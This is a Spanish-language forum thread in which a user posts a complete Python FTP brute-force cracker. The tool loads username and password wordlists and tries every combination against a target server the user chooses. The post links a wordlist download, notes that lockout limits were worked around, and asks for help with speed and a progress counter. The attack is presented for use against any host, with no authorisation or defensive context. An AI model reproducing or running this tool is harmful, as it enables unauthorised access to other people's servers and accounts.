BruteForce Ftp Python

Iniciado por Runex, 17 Mayo 2012, 00:49 AM

0 Miembros y 1 Visitante están viendo este tema.

Runex

Buenas compañeros, estaba haciendo un bruteforce ftp con python, pero tengo un par de problemas, uno de los cuales es la velocidad y otro el límite establecido de logueos fallidos. ¿ Alguna Idea ?

EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente :).
Resuelto el problema de los límites de fallos :)

Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes :D), utilizad el mismo diccionario para los usuarios y los passwords, solo tenéis que hacer una copia y renombrarla a passwords.txt: https://rapidshare.com/files/4215115057/usuarios.txt

Tened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.

Si os interesa que le aplique interfaz gráfica decidmelo :).

Este es el código:

Código (python) [Seleccionar]

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib

class ftp_brute_force:
def __init__(self,conectftp,target):
self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
try:
self.users = open("usuarios.txt","r")
self.passwords = open("passwords.txt","r")
except:
print "\n [-] No existen los diccionarios"
exit()
for self.user in self.users.readlines():
self.listausuarios.append(self.user)
self.contadorus += 1
for self.password in self.passwords.readlines():
self.listapasswords.append(self.password)
self.contadorpas += 1
self.users.close()
self.passwords.close()
print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
self.bruteforce()
def bruteforce(self):
for self.user in self.listausuarios:
for self.password in self.listapasswords:
try:
self.conectftp.login(self.user,self.password)
print "Los datos son --> " + self.user + " y " + self.password
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)
raw_input()
except:
print self.user + " y " + self.password + " no son correctos"
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)

print " [-] No se han podido extraer datos."

if __name__ == '__main__':
print " [+]   FTP CRACKER BY RUNE   [+]\n\n\n"
target = raw_input("\n\nIntroduce el target [+] > ")
try:
conectftp = ftplib.FTP(target)
except:
print " \n[-] No existe el target"
exit()
instancia = ftp_brute_force(conectftp,target)




Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:

0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.

¿ Se os ocurre algo ?

Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex :)
"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".

0xDani

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM